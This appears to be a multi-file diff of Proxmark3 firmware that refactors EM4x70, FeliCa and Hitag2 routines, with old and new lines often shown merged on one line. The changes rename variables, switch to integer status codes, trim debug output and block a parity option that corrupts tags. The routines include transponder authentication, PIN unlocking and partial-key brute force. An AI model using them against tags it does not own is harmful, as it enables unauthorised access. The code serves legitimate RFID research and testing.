// this utility function requires
// decoding in multiples of 8 bits
encoded_bit_array_to_bytes(grnd, 24, response);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -455,12 +467,12 @@ static int send_pin(const uint32_t pin) {
WaitTicks(EM4X70_T_TAG_WEE); WaitTicks(EM4X70_T_TAG_WEE);
// <-- Receive header + ID // <-- Receive header + ID
uint8_t tag_id[EM4X70_MAX_RECEIVE_LENGTH]; uint8_t tag_id[EM4X70_MAX_RECEIVE_LENGTH];
int num = em4x70_receive(tag_id, 32); int count_of_bits_received = em4x70_receive(tag_id, 32);
if (num < 32) { if (count_of_bits_received < 32) {
Dbprintf("Invalid ID Received"); Dbprintf("Invalid ID Received");
return PM3_ESOFT; return PM3_ESOFT;
} }
bits2bytes(tag_id, num, &tag.data[4]); encoded_bit_array_to_bytes(tag_id, count_of_bits_received, &tag.data[4]);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
} }
@ -537,36 +549,38 @@ static bool find_listen_window(bool command) {
return false; return false;
} }
static void bits2bytes(const uint8_t *bits, int length, uint8_t *out) { // *bits == array of bytes, each byte storing a single bit.
// *out == array of bytes, storing converted bits --> bytes.
//
// [in, bcount(count_of_bits) ] const uint8_t *bits
// [out, bcount(count_of_bits/8)] uint8_t *out
static void encoded_bit_array_to_bytes(const uint8_t *bits, int count_of_bits, uint8_t *out) {
if (length % 8 != 0) { if (count_of_bits % 8 != 0) {
Dbprintf("Should have a multiple of 8 bits, was sent %d", length); Dbprintf("Should have a multiple of 8 bits, was sent %d", count_of_bits);
} }
int num_bytes = length / 8; // We should have a multiple of 8 here int num_bytes = count_of_bits / 8; // We should have a multiple of 8 here
for (int i = 1; i <= num_bytes; i++) { for (int i = 1; i <= num_bytes; i++) {
out[num_bytes - i] = bits2byte(bits, 8); out[num_bytes - i] = encoded_bit_array_to_byte(bits, 8);
bits += 8; bits += 8;
} }
} }
static uint8_t bits2byte(const uint8_t *bits, int length) { static uint8_t encoded_bit_array_to_byte(const uint8_t *bits, int count_of_bits) {
// converts <length> separate bits into a single "byte" // converts <count_of_bits> separate bits into a single "byte"
uint8_t byte = 0; uint8_t byte = 0;
for (int i = 0; i < length; i++) { for (int i = 0; i < count_of_bits; i++) {
byte |= bits[i];
if (i != length - 1)
byte <<= 1; byte <<= 1;
byte |= bits[i];
} }
return byte; return byte;
} }
static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t length) { static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t expected_byte_count) {
int retries = EM4X70_COMMAND_RETRIES; int retries = EM4X70_COMMAND_RETRIES;
while (retries) { while (retries) {
@ -574,19 +588,14 @@ static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t length
if (find_listen_window(true)) { if (find_listen_window(true)) {
uint8_t bits[EM4X70_MAX_RECEIVE_LENGTH] = {0}; uint8_t bits[EM4X70_MAX_RECEIVE_LENGTH] = {0};
size_t out_length_bits = length * 8; size_t out_length_bits = expected_byte_count * 8;
em4x70_send_nibble(command, command_parity); em4x70_send_nibble(command, command_parity);
int len = em4x70_receive(bits, out_length_bits); int len = em4x70_receive(bits, out_length_bits);
if (len < out_length_bits) { if (len < out_length_bits) {
Dbprintf("Invalid data received length: %d, expected %d", len, out_length_bits); Dbprintf("Invalid data received length: %d, expected %d", len, out_length_bits);
return false; return false;
} }
// TODO: Figure out why getting an extra bit (quite often) here encoded_bit_array_to_bytes(bits, len, bytes);
// e.g., write block and info commands both reach here and output:
// [#] Should have a multiple of 8 bits, was sent 33
// [#] Should have a multiple of 8 bits, was sent 65
// Extra bits are currently just dropped, with no ill effect noticed.
bits2bytes(bits, len, bytes);
return true; return true;
} }
} }
@ -617,7 +626,6 @@ static bool em4x70_read_um1(void) {
} }
/** /**
* em4x70_read_um2 * em4x70_read_um2
* *
@ -635,7 +643,7 @@ static bool find_em4x70_tag(void) {
return find_listen_window(false); return find_listen_window(false);
} }
static int em4x70_receive(uint8_t *bits, size_t length) { static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read) {
uint32_t pl; uint32_t pl;
int bit_pos = 0; int bit_pos = 0;
@ -673,7 +681,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) {
// identify remaining bits based on pulse lengths // identify remaining bits based on pulse lengths
// between listen windows only pulse lengths of 1, 1.5 and 2 are possible // between listen windows only pulse lengths of 1, 1.5 and 2 are possible
while (bit_pos < length) { while (bit_pos < maximum_bits_to_read) {
pl = get_pulse_length(edge); pl = get_pulse_length(edge);
@ -687,13 +695,13 @@ static int em4x70_receive(uint8_t *bits, size_t length) {
// pulse length 1.5 -> 2 bits + flip edge detection // pulse length 1.5 -> 2 bits + flip edge detection
if (edge == FALLING_EDGE) { if (edge == FALLING_EDGE) {
bits[bit_pos++] = 0; bits[bit_pos++] = 0;
if (bit_pos < length) { if (bit_pos < maximum_bits_to_read) {
bits[bit_pos++] = 0; bits[bit_pos++] = 0;
} }
edge = RISING_EDGE; edge = RISING_EDGE;
} else { } else {
bits[bit_pos++] = 1; bits[bit_pos++] = 1;
if (bit_pos < length) { if (bit_pos < maximum_bits_to_read) {
bits[bit_pos++] = 1; bits[bit_pos++] = 1;
} }
edge = FALLING_EDGE; edge = FALLING_EDGE;
@ -704,12 +712,12 @@ static int em4x70_receive(uint8_t *bits, size_t length) {
// pulse length of 2 -> two bits // pulse length of 2 -> two bits
if (edge == FALLING_EDGE) { if (edge == FALLING_EDGE) {
bits[bit_pos++] = 0; bits[bit_pos++] = 0;
if (bit_pos < length) { if (bit_pos < maximum_bits_to_read) {
bits[bit_pos++] = 1; bits[bit_pos++] = 1;
} }
} else { } else {
bits[bit_pos++] = 1; bits[bit_pos++] = 1;
if (bit_pos < length) { if (bit_pos < maximum_bits_to_read) {
bits[bit_pos++] = 0; bits[bit_pos++] = 0;
} }
} }
@ -725,7 +733,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) {
void em4x70_info(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_info(const em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0; bool success = false;
// Support tags with and without command parity bits // Support tags with and without command parity bits
command_parity = etd->parity; command_parity = etd->parity;
@ -736,20 +744,27 @@ void em4x70_info(const em4x70_data_t *etd, bool ledcontrol) {
// Find the Tag // Find the Tag
if (get_signalproperties() && find_em4x70_tag()) { if (get_signalproperties() && find_em4x70_tag()) {
// Read ID, UM1 and UM2 // Read ID, UM1 and UM2
status = em4x70_read_id() && em4x70_read_um1() && em4x70_read_um2(); success = em4x70_read_id() && em4x70_read_um1() && em4x70_read_um2();
} }
StopTicks(); StopTicks();
lf_finalize(ledcontrol); lf_finalize(ledcontrol);
int status = success ? PM3_SUCCESS : PM3_ESOFT;
reply_ng(CMD_LF_EM4X70_INFO, status, tag.data, sizeof(tag.data)); reply_ng(CMD_LF_EM4X70_INFO, status, tag.data, sizeof(tag.data));
} }
void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) {
int status = PM3_ESOFT;
uint8_t status = 0;
command_parity = etd->parity; command_parity = etd->parity;
// Disable to prevent sending corrupted data to the tag.
if (command_parity) {
Dbprintf("Use of `--par` option with `lf em 4x70 write` is disabled to prevent corrupting tag data");
reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0);
return;
}
init_tag(); init_tag();
em4x70_setup_read(); em4x70_setup_read();
@ -757,16 +772,15 @@ void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) {
if (get_signalproperties() && find_em4x70_tag()) { if (get_signalproperties() && find_em4x70_tag()) {
// Write // Write
status = write(etd->word, etd->address) == PM3_SUCCESS; status = write(etd->word, etd->address);
if (status) { if (status == PM3_SUCCESS) {
// Read Tag after writing // Read Tag after writing
if (em4x70_read_id()) { if (em4x70_read_id()) {
em4x70_read_um1(); em4x70_read_um1();
em4x70_read_um2(); em4x70_read_um2();
} }
} }
} }
StopTicks(); StopTicks();
@ -776,7 +790,7 @@ void em4x70_write(const em4x70_data_t *etd, bool ledcontrol) {
void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0; int status = PM3_ESOFT;
command_parity = etd->parity; command_parity = etd->parity;
@ -790,10 +804,10 @@ void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) {
if (em4x70_read_id()) { if (em4x70_read_id()) {
// Send PIN // Send PIN
status = send_pin(etd->pin) == PM3_SUCCESS; status = send_pin(etd->pin);
// If the write succeeded, read the rest of the tag // If the write succeeded, read the rest of the tag
if (status) { if (status == PM3_SUCCESS) {
// Read Tag // Read Tag
// ID doesn't change // ID doesn't change
em4x70_read_um1(); em4x70_read_um1();
@ -809,11 +823,19 @@ void em4x70_unlock(const em4x70_data_t *etd, bool ledcontrol) {
void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0; int status = PM3_ESOFT;
uint8_t response[3] = {0}; uint8_t response[3] = {0};
command_parity = etd->parity; command_parity = etd->parity;
// Disable to prevent sending corrupted data to the tag.
if (command_parity) {
Dbprintf("Use of `--par` option with `lf em 4x70 auth` is disabled to prevent corrupting tag data");
reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0);
return;
}
init_tag(); init_tag();
em4x70_setup_read(); em4x70_setup_read();
@ -821,7 +843,7 @@ void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) {
if (get_signalproperties() && find_em4x70_tag()) { if (get_signalproperties() && find_em4x70_tag()) {
// Authenticate and get tag response // Authenticate and get tag response
status = authenticate(etd->rnd, etd->frnd, response) == PM3_SUCCESS; status = authenticate(etd->rnd, etd->frnd, response);
} }
StopTicks(); StopTicks();
@ -830,11 +852,18 @@ void em4x70_auth(const em4x70_data_t *etd, bool ledcontrol) {
} }
void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0; int status = PM3_ESOFT;
uint8_t response[2] = {0}; uint8_t response[2] = {0};
command_parity = etd->parity; command_parity = etd->parity;
// Disable to prevent sending corrupted data to the tag.
if (command_parity) {
Dbprintf("Use of `--par` option with `lf em 4x70 brute` is disabled to prevent corrupting tag data");
reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0);
return;
}
init_tag(); init_tag();
em4x70_setup_read(); em4x70_setup_read();
@ -842,7 +871,7 @@ void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) {
if (get_signalproperties() && find_em4x70_tag()) { if (get_signalproperties() && find_em4x70_tag()) {
// Bruteforce partial key // Bruteforce partial key
status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response) == PM3_SUCCESS; status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response);
} }
StopTicks(); StopTicks();
@ -852,10 +881,17 @@ void em4x70_brute(const em4x70_data_t *etd, bool ledcontrol) {
void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0; int status = PM3_ESOFT;
command_parity = etd->parity; command_parity = etd->parity;
// Disable to prevent sending corrupted data to the tag.
if (command_parity) {
Dbprintf("Use of `--par` option with `lf em 4x70 setpin` is disabled to prevent corrupting tag data");
reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0);
return;
}
init_tag(); init_tag();
em4x70_setup_read(); em4x70_setup_read();
@ -865,17 +901,19 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) {
// Read ID (required for send_pin command) // Read ID (required for send_pin command)
if (em4x70_read_id()) { if (em4x70_read_id()) {
// Write new PIN // Write the pin
if ((write((etd->pin) & 0xFFFF, EM4X70_PIN_WORD_UPPER) == PM3_SUCCESS) && status = write((etd->pin) & 0xFFFF, EM4X70_PIN_WORD_UPPER);
(write((etd->pin >> 16) & 0xFFFF, EM4X70_PIN_WORD_LOWER) == PM3_SUCCESS)) { if (status == PM3_SUCCESS) {
status = write((etd->pin >> 16) & 0xFFFF, EM4X70_PIN_WORD_LOWER);
}
if (status == PM3_SUCCESS) {
// Now Try to authenticate using the new PIN // Now Try to authenticate using the new PIN
// Send PIN // Send PIN
status = send_pin(etd->pin) == PM3_SUCCESS; status = send_pin(etd->pin);
// If the write succeeded, read the rest of the tag // If the write succeeded, read the rest of the tag
if (status) { if (status == PM3_SUCCESS) {
// Read Tag // Read Tag
// ID doesn't change // ID doesn't change
em4x70_read_um1(); em4x70_read_um1();
@ -892,10 +930,17 @@ void em4x70_write_pin(const em4x70_data_t *etd, bool ledcontrol) {
void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) { void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0; int status = PM3_ESOFT;
command_parity = etd->parity; command_parity = etd->parity;
// Disable to prevent sending corrupted data to the tag.
if (command_parity) {
Dbprintf("Use of `--par` option with `lf em 4x70 setkey` is disabled to prevent corrupting tag data");
reply_ng(CMD_LF_EM4X70_WRITE, PM3_ENOTIMPL, NULL, 0);
return;
}
init_tag(); init_tag();
em4x70_setup_read(); em4x70_setup_read();
@ -904,15 +949,15 @@ void em4x70_write_key(const em4x70_data_t *etd, bool ledcontrol) {
// Read ID to ensure we can write to card // Read ID to ensure we can write to card
if (em4x70_read_id()) { if (em4x70_read_id()) {
status = 1; status = PM3_SUCCESS;
// Write each crypto block // Write each crypto block
for (int i = 0; i < 6; i++) { for (int i = 0; i < 6; i++) {
uint16_t key_word = (etd->crypt_key[(i * 2) + 1] << 8) + etd->crypt_key[i * 2]; uint16_t key_word = (etd->crypt_key[(i * 2) + 1] << 8) + etd->crypt_key[i * 2];
// Write each word, abort if any failure occurs // Write each word, abort if any failure occurs
if (write(key_word, 9 - i) != PM3_SUCCESS) { status = write(key_word, 9 - i);
status = 0; if (status != PM3_SUCCESS) {
break; break;
} }
} }

View file

@ -236,9 +236,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 0x00 = timeslot // 0x00 = timeslot
// 0x09 0x21 = crc // 0x09 0x21 = crc
static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21}; static uint8_t poll[10] = {0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xFF, 0xFF, 0x00, 0x00, 0x09, 0x21};
int len = 10;
// We try 10 times, or if answer was received. // We try 10 times, or if answer was received.
int len = 25;
do { do {
// end-of-reception response packet data, wait approx. 501μs // end-of-reception response packet data, wait approx. 501μs
// end-of-transmission command packet data, wait approx. 197μs // end-of-transmission command packet data, wait approx. 197μs
@ -246,39 +247,34 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0); TransmitFor18092_AsReader(poll, sizeof(poll), NULL, 1, 0);
// polling card, break if success // polling card, break if success
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) {
break; break;
}
WDT_HIT(); WDT_HIT();
} while (--len); } while (--len);
// timed-out // 1. timed-out
if (len == 0) { if (len == 0) {
if (g_dbglevel >= DBG_DEBUG)
Dbprintf("Error: Time out card selection!");
return 1; return 1;
} }
// wrong answer // 2. wrong answer
if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) { if (FelicaFrame.framebytes[3] != FELICA_POLL_ACK) {
if (g_dbglevel >= DBG_DEBUG)
Dbprintf("Error: Wrong answer selecting card!");
return 2; return 2;
} }
// VALIDATE CRC residue is 0, hence if crc is a value it failed. // 3. wrong crc. residue is 0, hence if crc is a value it failed.
if (!check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2)) { if (check_crc(CRC_FELICA, FelicaFrame.framebytes + 2, FelicaFrame.len - 2) == false) {
if (g_dbglevel >= DBG_DEBUG) { if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("Error: CRC check failed!"); Dbprintf("Error: CRC check failed!");
Dbprintf("CRC check was done on Frame: ");
Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0); Dbhexdump(FelicaFrame.len - 2, FelicaFrame.framebytes + 2, 0);
} }
return 3; return 3;
} }
if (g_dbglevel >= DBG_DEBUG)
Dbprintf("Card selection successful!");
// copy UID // copy UID
// idm 8 // idm 8
if (card) { if (card) {
@ -294,7 +290,7 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
} }
} }
// more status bytes? // 0. OK
return 0; return 0;
} }
@ -311,8 +307,10 @@ static uint8_t felica_select_card(felica_card_select_t *card) {
// 8-byte IDm, number of blocks, blocks numbers // 8-byte IDm, number of blocks, blocks numbers
// number of blocks limited to 4 for FelicaLite(S) // number of blocks limited to 4 for FelicaLite(S)
static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t *blocks) { static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t *blocks) {
if (blocknum > 4 || blocknum == 0)
if (blocknum > 4 || blocknum == 0) {
Dbprintf("Invalid number of blocks, %d != 4", blocknum); Dbprintf("Invalid number of blocks, %d != 4", blocknum);
}
uint8_t c = 0, i = 0; uint8_t c = 0, i = 0;
@ -366,7 +364,7 @@ static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t
static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const uint32_t *NYI_timing_NYI, uint8_t power, uint8_t highspeed) { static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const uint32_t *NYI_timing_NYI, uint8_t power, uint8_t highspeed) {
if (NYI_timing_NYI != NULL) { if (NYI_timing_NYI != NULL) {
Dbprintf("Error: TransmitFor18092_AsReader does not check or set parameter NYI_timing_NYI"); DbpString("Error: TransmitFor18092_AsReader does not check or set parameter NYI_timing_NYI");
return; return;
} }
@ -400,10 +398,6 @@ static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const
} }
// sending data with sync bytes // sending data with sync bytes
c = 0; c = 0;
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("Sending frame:");
Dbhexdump(len, frame, 0);
}
while (c < len) { while (c < len) {
// Put byte into tx holding register as soon as it is ready // Put byte into tx holding register as soon as it is ready
@ -438,9 +432,7 @@ static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const
// or return TRUE when command is captured // or return TRUE when command is captured
bool WaitForFelicaReply(uint16_t maxbytes) { bool WaitForFelicaReply(uint16_t maxbytes) {
if (g_dbglevel >= DBG_DEBUG) { // if (g_dbglevel >= DBG_DEBUG) { Dbprintf("WaitForFelicaReply Start"); }
Dbprintf("WaitForFelicaReply Start");
}
uint32_t c = 0; uint32_t c = 0;
@ -478,14 +470,11 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
NULL, NULL,
false false
); );
if (g_dbglevel >= DBG_DEBUG) Dbprintf("All bytes received! STATE_FULL");
return true; return true;
} else if (c++ > timeout && (FelicaFrame.state == STATE_UNSYNCD || FelicaFrame.state == STATE_TRYING_SYNC)) { } else if (c++ > timeout && (FelicaFrame.state == STATE_UNSYNCD || FelicaFrame.state == STATE_TRYING_SYNC)) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD"); // if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Timeout! STATE_UNSYNCD");
return false; return false;
} }
@ -496,7 +485,6 @@ bool WaitForFelicaReply(uint16_t maxbytes) {
// Set up FeliCa communication (similar to iso14443a_setup) // Set up FeliCa communication (similar to iso14443a_setup)
// field is setup for "Sending as Reader" // field is setup for "Sending as Reader"
static void iso18092_setup(uint8_t fpga_minor_mode) { static void iso18092_setup(uint8_t fpga_minor_mode) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Start iso18092_setup");
LEDsoff(); LEDsoff();
#if defined XC3 #if defined XC3
@ -510,7 +498,7 @@ static void iso18092_setup(uint8_t fpga_minor_mode) {
// Initialize Demod and Uart structs // Initialize Demod and Uart structs
// DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); // DemodInit(BigBuf_malloc(MAX_FRAME_SIZE));
FelicaFrameinit(BigBuf_malloc(FELICA_MAX_FRAME_SIZE)); FelicaFrameinit(BigBuf_calloc(FELICA_MAX_FRAME_SIZE));
felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418 felica_nexttransfertime = 2 * DELAY_ARM2AIR_AS_READER; // 418
// iso18092_set_timeout(2120); // 106 * 20ms maximum start-up time of card // iso18092_set_timeout(2120); // 106 * 20ms maximum start-up time of card
@ -553,63 +541,63 @@ static void felica_reset_frame_mode(void) {
// arg1 len of commandbytes // arg1 len of commandbytes
// d.asBytes command bytes to send // d.asBytes command bytes to send
void felica_sendraw(const PacketCommandNG *c) { void felica_sendraw(const PacketCommandNG *c) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("FeliCa_sendraw Enter");
felica_command_t param = c->oldarg[0]; felica_command_t param = c->oldarg[0];
size_t len = c->oldarg[1] & 0xffff; size_t len = c->oldarg[1] & 0xffff;
const uint8_t *cmd = c->data.asBytes;
uint32_t arg0; uint32_t arg0;
felica_card_select_t card; if ((param & FELICA_CONNECT) == FELICA_CONNECT) {
if ((param & FELICA_CONNECT))
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Clear trace");
clear_trace(); clear_trace();
}
set_tracing(true); set_tracing(true);
iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD); iso18092_setup(FPGA_HF_ISO18092_FLAG_READER | FPGA_HF_ISO18092_FLAG_NOMOD);
if ((param & FELICA_CONNECT)) { if ((param & FELICA_CONNECT) == FELICA_CONNECT) {
// notify client selecting status. // notify client selecting status.
// if failed selecting, turn off antenna and quite. // if failed selecting, turn off antenna and quite.
if (!(param & FELICA_NO_SELECT)) { if ((param & FELICA_NO_SELECT) != FELICA_NO_SELECT) {
felica_card_select_t card;
arg0 = felica_select_card(&card); arg0 = felica_select_card(&card);
reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t)); reply_mix(CMD_ACK, arg0, sizeof(card.uid), 0, &card, sizeof(felica_card_select_t));
if (arg0 > 0) { if (arg0) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Error: Failed selecting card! ");
felica_reset_frame_mode(); felica_reset_frame_mode();
return; return;
} }
} }
} else {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("No card selection");
} }
if ((param & FELICA_RAW)) { if ((param & FELICA_RAW) == FELICA_RAW) {
// 2 sync, 1 len, 2crc == 5 // 2 sync, 1 len, 2crc == 5
uint8_t *buf = BigBuf_malloc(len + 5); uint8_t *buf = BigBuf_calloc(len + 5);
// add sync bits // add sync bits
buf[0] = 0xb2; buf[0] = 0xb2;
buf[1] = 0x4d; buf[1] = 0x4d;
buf[2] = len; buf[2] = len;
// copy command // copy command
memcpy(buf + 2, cmd, len); memcpy(buf + 2, c->data.asBytes, len);
if ((param & FELICA_APPEND_CRC)) { if ((param & FELICA_APPEND_CRC) == FELICA_APPEND_CRC) {
// Don't append crc on empty bytearray... // Don't append crc on empty bytearray...
if (len > 0) { if (len > 0) {
AddCrc(buf + 2, len); AddCrc(buf + 2, len);
} }
} }
if (g_dbglevel >= DBG_DEBUG) { if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("Transmit Frame (no CRC shown):"); Dbprintf("Transmit Frame (no CRC shown):");
Dbhexdump(len, buf, 0); Dbhexdump(len, buf, 0);
Dbprintf("Buffer Length: %i", buf[2] + 4); Dbprintf("Buffer Length: %i", buf[2] + 4);
}; };
TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0); TransmitFor18092_AsReader(buf, buf[2] + 4, NULL, 1, 0);
arg0 = WaitForFelicaReply(1024); arg0 = WaitForFelicaReply(1024);
if (g_dbglevel >= DBG_DEBUG) { if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("Received Frame Code: %d", arg0); Dbprintf("Received Frame Code: %d", arg0);
Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0); Dbhexdump(FelicaFrame.len, FelicaFrame.framebytes, 0);
@ -620,11 +608,11 @@ void felica_sendraw(const PacketCommandNG *c) {
Dbprintf("Reply to Client Error Code: %i", result); Dbprintf("Reply to Client Error Code: %i", result);
} }
} }
if ((param & FELICA_NO_DISCONNECT)) {
Dbprintf("Disconnect"); if ((param & FELICA_NO_DISCONNECT) == FELICA_NO_DISCONNECT) {
return;
} }
if (g_dbglevel >= DBG_DEBUG)
Dbprintf("FeliCa_sendraw Exit");
felica_reset_frame_mode(); felica_reset_frame_mode();
return; return;
} }
@ -641,7 +629,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) {
int remFrames = (samplesToSkip) ? samplesToSkip : 0; int remFrames = (samplesToSkip) ? samplesToSkip : 0;
int trigger_cnt = 0; int trigger_cnt = 0;
uint32_t timeout = iso18092_get_timeout(); uint32_t timeout = iso18092_get_timeout();
bool isReaderFrame = true; bool isReaderFrame;
uint8_t flip = 0; uint8_t flip = 0;
uint16_t checker = 0; uint16_t checker = 0;
@ -744,7 +732,7 @@ void felica_sim_lite(const uint8_t *uid) {
int retval = PM3_SUCCESS; int retval = PM3_SUCCESS;
int curlen = 0; int curlen = 0;
uint8_t *curresp = NULL; const uint8_t *curresp = NULL;
bool listenmode = true; bool listenmode = true;
// uint32_t frtm = GetCountSspClk(); // uint32_t frtm = GetCountSspClk();
@ -894,7 +882,7 @@ void felica_dump_lite_s(void) {
dest[cnt++] = liteblks[blknum]; dest[cnt++] = liteblks[blknum];
uint8_t *fb = FelicaFrame.framebytes; const uint8_t *fb = FelicaFrame.framebytes;
dest[cnt++] = fb[12]; dest[cnt++] = fb[12];
dest[cnt++] = fb[13]; dest[cnt++] = fb[13];

View file

@ -17,7 +17,7 @@
#define DBG if (g_dbglevel >= DBG_EXTENDED) #define DBG if (g_dbglevel >= DBG_EXTENDED)
#include "hitag2.h" #include "hitag2.h"
#include "hitag2_crypto.h" #include "hitag2/hitag2_crypto.h"
#include "string.h" #include "string.h"
#include "proxmark3_arm.h" #include "proxmark3_arm.h"
#include "cmd.h" #include "cmd.h"
@ -120,7 +120,7 @@ static void hitag2_init(void) {
#define HITAG_FRAME_LEN 20 #define HITAG_FRAME_LEN 20
#define HITAG_FRAME_BIT_COUNT (8 * HITAG_FRAME_LEN) #define HITAG_FRAME_BIT_COUNT (8 * HITAG_FRAME_LEN)
#define HITAG_T_STOP 36 /* T_EOF should be > 36 */ #define HITAG_T_STOP 36 /* T_EOF should be > 36 */
#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ #define HITAG_T_LOW 6 /* T_LOW should be 4..10 */
#define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ #define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */
#define HITAG_T_0 20 /* T[0] should be 18..22 */ #define HITAG_T_0 20 /* T[0] should be 18..22 */
#define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ #define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */
@ -322,8 +322,6 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_
// reader/writer // reader/writer
// returns how long it took // returns how long it took
static uint32_t hitag_reader_send_bit(int bit) { static uint32_t hitag_reader_send_bit(int bit) {
uint32_t wait = 0;
// Binary pulse length modulation (BPLM) is used to encode the data stream // Binary pulse length modulation (BPLM) is used to encode the data stream
// This means that a transmission of a one takes longer than that of a zero // This means that a transmission of a one takes longer than that of a zero
@ -331,8 +329,8 @@ static uint32_t hitag_reader_send_bit(int bit) {
lf_modulation(true); lf_modulation(true);
// Wait for 4-10 times the carrier period // Wait for 4-10 times the carrier period
lf_wait_periods(8); // wait for 4-10 times the carrier period lf_wait_periods(HITAG_T_LOW); // wait for 4-10 times the carrier period
wait += 8; uint32_t wait = HITAG_T_LOW;
// Disable modulation, just activates the field again // Disable modulation, just activates the field again
lf_modulation(false); lf_modulation(false);
@ -353,6 +351,7 @@ static uint32_t hitag_reader_send_bit(int bit) {
// reader / writer commands // reader / writer commands
// frame_len is in number of bits? // frame_len is in number of bits?
static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) {
WDT_HIT();
uint32_t wait = 0; uint32_t wait = 0;
// Send the content of the frame // Send the content of the frame
@ -360,6 +359,7 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len)
wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
} }
// Send EOF
// Enable modulation, which means, drop the field // Enable modulation, which means, drop the field
lf_modulation(true); lf_modulation(true);
@ -373,6 +373,7 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len)
// t_stop, high field for stop condition (> 36) // t_stop, high field for stop condition (> 36)
lf_wait_periods(HITAG_T_STOP); lf_wait_periods(HITAG_T_STOP);
wait += HITAG_T_STOP; wait += HITAG_T_STOP;
WDT_HIT();
return wait; return wait;
} }
@ -380,13 +381,17 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len)
// frame_len is in number of bits? // frame_len is in number of bits?
